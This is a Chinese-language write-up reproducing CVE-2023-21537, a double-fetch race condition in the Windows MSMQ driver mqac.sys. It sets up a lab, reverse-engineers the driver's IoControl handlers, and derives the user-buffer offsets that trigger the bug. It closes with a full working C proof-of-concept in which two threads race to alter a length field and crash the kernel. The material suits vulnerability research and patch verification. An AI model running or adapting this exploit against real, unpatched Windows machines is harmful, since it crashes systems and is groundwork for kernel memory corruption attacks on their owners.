CVE-2023-21537 漏洞复现

CVE-2023-21537 是一个 Windows 消息队列(MSMQ)驱动程序 mqac.sys 中的漏洞。该漏洞于 2023 年 1 月披露,并已被微软修复。漏洞并没有公开的 PoC 程序,漏洞发现者只通过文章 Racing bugs in Windows kernel 透露了部分信息。笔者在其基础上深入分析了相关代码,成功地复现了此漏洞。本文就是对漏洞研究的总结。

漏洞复现环境搭建

由于此漏洞已经在较新的系统中被修复,复现漏洞需要在旧版本的系统中进行。笔者在 Hyper-V 虚拟机中安装了 Windows 10 21H1 版本,内部版本号为 19043.928。此外,由于消息队列是 Windows 的可选功能,需要在控制面板中手动启用。方法是:打开控制面板,选择「程序」,点击「启用或关闭 Windows 功能」,并开启「Microsoft 消息队列(MSMQ)服务器」。如下图所示。

启用消息队列

之后,打开计算机管理,在侧栏中选择「服务和应用程序」,点开「消息队列」下面的「专用队列」,并右键新建专用队列。队列名称需要记下来,之后的 PoC 程序里面需要用到。完成后,情况如下图所示。

新建专用队列

为了方便调试 PoC 程序,在虚拟机中还可以开启内核调试,这样就可以通过 Host 上的 WinDbg 给虚拟机的 Windows 内核下断点进行调试了。方法是开启管理员权限的 Powershell,执行如下命令

1
2
bcdedit /debug on
bcdedit /dbgsettings net hostip:192.168.1.2 port:50001 key:1.2.3.4

hostip 换成 Host 的 ip 地址,portkey 可以修改。完成后,重启虚拟机,之后在 WinDbg 里面用这些参数就可以对虚拟机的内核进行 debug 了。

漏洞分析

根据漏洞发现者的文章,该漏洞的成因是 mqac.sys 中的 ACSendMessage 函数会两次读取一个来自用户的输入参数,第一次该参数用于控制数组长度,第二次则是在释放堆内存时,根据该长度进行释放。然而,这段逻辑并未考虑参数会被用户修改的可能,因而构成一个 Double fetch 漏洞,可能导致错误的内存被释放。

mqac.sys 提供了 IoControl 调用的处理函数,名称为 ACDeviceControl,该函数将会解析用户传入的参数,并调用不同的派发函数。通过逆向分析 ACDeviceControl 函数,发现当 IoControl 调用号为 0x19658107 且输出缓冲区的总长度为 0x2C0 时,它会进一步调用 ACSendMessage 这一派发函数。IDA 反编译得到的关键代码如下(省略了部分上下文):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 __fastcall ACDeviceControl(struct _DEVICE_OBJECT *DeviceObject, struct _IRP *Irp)
{
struct _IO_STACK_LOCATION *CurrentStackLocation Irp->Tail.Overlay.CurrentStackLocation;
unsigned int LowPart = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart;
__int64 Length = CurrentStackLocation->Parameters.Read.Length;
const struct CQueueBase *FsContext = CurrentStackLocation->FileObject->FsContext;
NTSTATUS Information;
// ...
switch ( LowPart )
{
case 0x19658107u:
if ( (_DWORD)Length == 704 )
{
Information = ACSendMessage(DeviceObject, Irp, Options, FsContext, (struct CACSendParameters *)UserBuffer);
goto LABEL_246;
}
// ...
}
// ...
}

ACSendMessage 函数首先将用户态缓冲区复制到内核态栈上的缓冲区,之后,将执行核心的业务逻辑,调用 CQueue::PutNewPacket 来发送用户请求的数据,完成后再调用 ACFreeDeepCopyQueueFormat 进行堆内存的释放。此处便存在漏洞:进行内存释放操作传入的第二个参数直接读取自用户态缓冲区中。下面是 IDA 反编译得到的关键结果,参数 UserBuffer 就是指向用户缓冲区的指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 __fastcall ACSendMessage(
struct _DEVICE_OBJECT *DeviceObject,
struct _IRP *Irp,
unsigned int Options,
const struct CQueueBase *FsContext,
struct CACSendParameters *UserBuffer)
{
const struct BOID *v15;
PVOID Contents[36];
memset(Contents, 0, 0x118ui64);
_DWORD *DeviceExtension = DeviceObject->DeviceExtension;
int v9 = CQueueBase::Validate(FsContext);
if ( v9 >= 0 )
{
if ( DeviceExtension[246] )
{
ACDeepProbeSendParams(DeviceObject, UserBuffer, (struct ACSendParametersPointerContents *)Contents);
v15 = (const struct BOID *)*((_QWORD *)UserBuffer + 45);
}
// ...
if ( Contents[23] )
ACFreeDeepCopyQueueFormat((char *)Contents[23], *((_DWORD *)UserBuffer + 148));
// ...
}
// ...
}

这样问题看上去就很明确了:我们首先获得指向 MQAC 虚拟设备的句柄,然后向其发送号码为 0x19658107 的 IoControl 调用,并通过调整参数使 ACFreeDeepCopyQueueFormat 函数能够执行。这又要满足 Contents[23] 不为零的约束条件。观察之后发现 Contents 先被初始化为了全 0,然后传入了 ACDeepProbeSendParams 这个函数里面,所以还要设法让这个函数帮我们修改 Contents[23],才能触发漏洞。

编写 PoC 程序

先试一试效果,代码看上去像这样:

1
2
3
HANDLE hDevice = CreateFile(L"\\\\.\\MQAC", 2, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, 2, 0x40000080, NULL);
NTSTATUS status = NtDeviceIoControlFile(hDevice, NULL, NULL, NULL, (PIO_STATUS_BLOCK)&IoStatusBlock,
0x19658107, lpInBuffer, nInBufferSize, lpOutBuffer, nOutBufferSize);

然而,这样子是没有办法触发漏洞的。实验发现,NtDeviceIoControlFile 会返回错误值 0xC0000008,其 NTSTATUS 含义为 STATUS_INVALID_HANDLE,也就是说驱动认为此时的 hDevice 句柄是非法的。继续逆向之后发现,问题出在 ACSendMessage 调用 CQueueBase::Validate 检查 FsContext,如果检查失败就会返回 0xC0000008。IDA 反编译得到的结果如下:

1
2
3
4
5
6
7
8
9
__int64 __fastcall CQueueBase::Validate(const struct CQueueBase *FsContext)
{
if ( FsContext )
return (*(unsigned int (__fastcall **)(const struct CQueueBase *))(*(_QWORD *)FsContext + 40i64))(FsContext) != 0
? 0xC00E0056
: 0;
else
return 0xC0000008i64;
}

那么这个 FsContext 是哪里来的呢?继续分析驱动中的其他函数,发现如果 IoControl 调用号为一些其它值,那么相应的派发函数可能会设置这个值。换句话说,在调用 0x19658107 这个接口之前,还需要先调用其它的接口,否则 MQAC 设备的状态不对,就无法通过参数检查,亦无法触发漏洞。要解决这个问题,我们不妨先看看 MQAC 正常的调用方式是怎样的。

分析 MQAC 的正常调用方式

微软为消息队列提供了头文件 mq.h 以及运行时库 mqrt.dll,其中包含 MQOpenQueueMQSendMessage 等函数,供开发者使用。这些函数其实正是封装了对驱动程序 mqac.sys 发起的 IoControl 调用。根据微软的文档 C-C++ Code Example: Sending Messages to a Destination Queue,相关函数的典型用法是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
WCHAR wszFormatName[] = L"DIRECT=OS:.\\Private$\\myQueue";

// Call MQOpenQueue to open the queue with send access.
hr = MQOpenQueue(
wszFormatName, // Format name of the queue
MQ_SEND_ACCESS, // Access mode
MQ_DENY_NONE, // Share mode
&hQueue // OUT: Queue handle
);

// Handle any error returned by MQOpenQueue.
if (FAILED(hr))
{
printf("MQOpenQueue failed\n");
return hr;
}

// Call MQSendMessage to send the message to the queue.
hr = MQSendMessage(
hQueue, // Queue handle
&msgProps, // Message property structure
MQ_NO_TRANSACTION // Not in a transaction
);
if (FAILED(hr))
{
printf("MQSendMessage failed\n");
MQCloseQueue(hQueue);
return hr;
}

// Call MQCloseQueue to close the queue.
hr = MQCloseQueue(hQueue);

我们可以通过 IDA 反编译 mqrt.dll 来分析这些函数的实现。结果发现,MQOpenQueue 会调用 RtpOpenQueue,进一步通过 CreateFileW 拿到 MQAC 虚拟设备的句柄,并发起号码为 0x196501170x1965015F 的 IoControl 调用。而 MQSendMessage 会调用 RTpSendMessage,进一步通过 CRtSend::SendMessageW 发起号码为 0x19658107 的 IoControl 调用,这也正是对应我们前面分析过的 ACSendMessage 接口。

这样,返回错误值的原因就很清楚了。我们还需要仿造 MQOpenQueue,在 PoC 程序中增加 0x196501170x1965015F 这两个 IoControl 调用,才能够让设备处于正确的状态。可以想像,队列名称的参数也是通过它们设置的。然而,这不是一个简单的事情,笔者尝试了构造参数但一直没有成功。后来发现,其实 MQOpenQueue 传出的 hQueue 句柄参数,正是 MQAC 虚拟设备的句柄。这样就好办了,我们先借用 MQOpenQueue 函数来获得一个合法的设备句柄 hQueue,然后直接使用该句柄来发起 IoControl 调用,就有望成功地通过检查了。

PoC 看上去就会像这个样子,当然,其中还有 lpOutBuffer 参数需要我们构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
WCHAR wszFormatName[] = L"DIRECT=OS:.\\Private$\\myQueue";

// Call MQOpenQueue to open the queue with send access.
HRESULT hr = MQOpenQueue(
wszFormatName, // Format name of the queue
MQ_SEND_ACCESS, // Access mode
MQ_DENY_NONE, // Share mode
&hQueue // OUT: Queue handle
);

// Handle any error returned by MQOpenQueue.
if (FAILED(hr))
{
printf("MQOpenQueue failed\n");
return hr;
}
printf("MQOpenQueue succeed\n");

struct _OVERLAPPED IoStatusBlock;
DWORD nOutBufferSize = 0x2C0;
NTSTATUS status = NtDeviceIoControlFile(hQueue, NULL, NULL, NULL, (PIO_STATUS_BLOCK)&IoStatusBlock,
0x19658107, NULL, 1, lpOutBuffer, nOutBufferSize);

现在再试运行一下,非常好!CQueueBase::Validate 通过了,我们离触发漏洞更近了一步;但 ACFreeDeepCopyQueueFormat 仍然没有执行。调试之后发现,这次卡在了 ACDeepProbeSendParams 函数里面。我们看看它做了些什么检查。

分析约束条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void __fastcall ACDeepProbeSendParams(
struct _DEVICE_OBJECT *DeviceObject,
struct CACSendParameters *UserBuffer,
struct ACSendParametersPointerContents *Contents)
{
if ( !*((_DWORD *)UserBuffer + 148) )
{
if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control
&& (HIDWORD(WPP_GLOBAL_Control->Queue.Wcb.DeviceRoutine) & 4) != 0 )
{
WPP_SF_(WPP_GLOBAL_Control->Queue.ListEntry.Blink, 88i64, &WPP_aba9ea4786c33bee720bab7b7487891b_Traceguids);
}
*((_QWORD *)UserBuffer + 73) = 0i64;
}
// ...
void *v6 = (void *)*((_QWORD *)UserBuffer + 73);
DeviceExtension = DeviceObject->DeviceExtension;
if ( v6 )
{
if ( !DeviceExtension[246] )
{
ACProbeArrayElementsForRead(v6, 0x20u, *((_DWORD *)UserBuffer + 148));
v6 = (void *)*((_QWORD *)UserBuffer + 73);
}
ACDeepCopyQueueFormat(
(struct QUEUE_FORMAT *)v6,
*((_DWORD *)UserBuffer + 148),
(struct QUEUE_FORMAT **)Contents + 23);
}
// ...
}

这些 WPP 开头的函数是 Windows software trace preprocessor 的组件,我们可以忽略。还记得我们前面看到执行 ACFreeDeepCopyQueueFormat 需要满足 Contents[23] 不为 0 么,这意味着 ACDeepProbeSendParams 里面 ACDeepCopyQueueFormat 所在的分支需要被执行,而其条件为 v6 不为 0。我们可以看到,v6 的值来自 UserBuffer 中偏移量 73 个 QWORD,也就是 584 个字节处。再往前看,如果 UserBuffer 中偏移量 148 个 DWORD,也就是 592 个字节处的值为 0,那么 v6 就会被置为 0,这不是我们希望的情况。所以,我们知道了:UserBuffer 中偏移量 592 个字节处的值必须为非 0,才能够触发漏洞。更重要的是,ACFreeDeepCopyQueueFormat 的第二个参数也正是从 UserBuffer 中偏移量 592 个字节处读取的。如果我们设法赢得竞态条件,在该函数进行内存释放前成功地修改了此处的参数值,将其设置为较大的值,那么将导致超出范围地释放任意指针。

此外,v6 的值被传入了 ACProbeArrayElementsForRead,这个函数的作用其实是检测它是否是一个合法指针,相关的内存块是否可读。因此,我们还需要预先分配用户态的缓冲区,并设置好指针指向,避免这个函数的检查不通过。这样,我们又确认了:UserBuffer 中偏移量 584 个字节处应当是一个合法的指针。

至此我们已经分析得出了全部的约束条件。通过人工构造参数并编写程序发起 IoControl 请求,可以成功地触发漏洞,使内核崩溃。完整的 PoC 程序如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#include <windows.h>
#include <stdio.h>
#include <winternl.h>

#include "mq.h"
#pragma comment (lib, "Mqrt.lib")
#pragma comment (lib, "Ntdll.lib")
#include "tchar.h"

#define ulong unsigned long

__kernel_entry NTSTATUS NtDeviceIoControlFile(
HANDLE FileHandle,
HANDLE Event,
PIO_APC_ROUTINE ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
ULONG IoControlCode,
PVOID InputBuffer,
ULONG InputBufferLength,
PVOID OutputBuffer,
ULONG OutputBufferLength
);

HANDLE hQueue = NULL;
BYTE* lpOutBuffer;
DWORD nOutBufferSize = 0x2C0;
__int64* pArrayLen;

void ThreadX0() {
ulong PrefProc = 0;
if (!SetThreadAffinityMask(GetCurrentThread(), (ulong)(1 << PrefProc)))
{
printf("Warning: Error setting affinity mask\r\n");
return;
}
if (SetThreadIdealProcessor(GetCurrentThread(), PrefProc) == -1)
{
printf("Warning: Error setting ideal processor, Err: %X\r\n", GetLastError());
}
struct _OVERLAPPED IoStatusBlock;
while (1) {
*pArrayLen = 1;
NTSTATUS status = NtDeviceIoControlFile(hQueue, NULL, NULL, NULL, (PIO_STATUS_BLOCK)&IoStatusBlock,
0x19658107, NULL, 1, lpOutBuffer, nOutBufferSize);
printf("%x", status);
}
}

void ThreadX1() {
ulong PrefProc = 1;
if (!SetThreadAffinityMask(GetCurrentThread(), (ulong)(1 << PrefProc)))
{
printf("Warning: Error setting affinity mask\r\n");
return;
}
if (SetThreadIdealProcessor(GetCurrentThread(), PrefProc) == -1)
{
printf("Warning: Error setting ideal processor, Err: %X\r\n", GetLastError());
}
while (1) {
// Points to length, let's change it!
*pArrayLen = 10000;
}
}

int main()
{
WCHAR wszFormatName[] = L"DIRECT=OS:.\\Private$\\myQueue";

// Call MQOpenQueue to open the queue with send access.
HRESULT hr = MQOpenQueue(
wszFormatName, // Format name of the queue
MQ_SEND_ACCESS, // Access mode
MQ_DENY_NONE, // Share mode
&hQueue // OUT: Queue handle
);

// Handle any error returned by MQOpenQueue.
if (FAILED(hr))
{
printf("MQOpenQueue failed\n");
return hr;
}
printf("MQOpenQueue succeed\n");

lpOutBuffer = (BYTE*)malloc(nOutBufferSize);
BYTE* pQueue = (BYTE*)malloc(0x40);
struct _OVERLAPPED IoStatusBlock;
memset(lpOutBuffer, 0, nOutBufferSize);
memcpy(lpOutBuffer + 584, &pQueue, 8);

pArrayLen = (__int64*)(lpOutBuffer + 592);
*pArrayLen = 1;

ulong tid0 = 0;
HANDLE hThread0 = CreateThread(0, 0xA000, (LPTHREAD_START_ROUTINE)ThreadX0, 0, 0, &tid0);

ulong tid1 = 0;
HANDLE hThread1 = CreateThread(0, 0xA000, (LPTHREAD_START_ROUTINE)ThreadX1, 0, 0, &tid1);

Sleep(-1);

return 0;
}

运行 PoC 程序一段时间后,WinDbg 捕获到蓝屏,原因是 BAD_POOL_CALLER,调用栈与预期的相同:

WinDbg界面

蓝屏界面如下:

蓝屏界面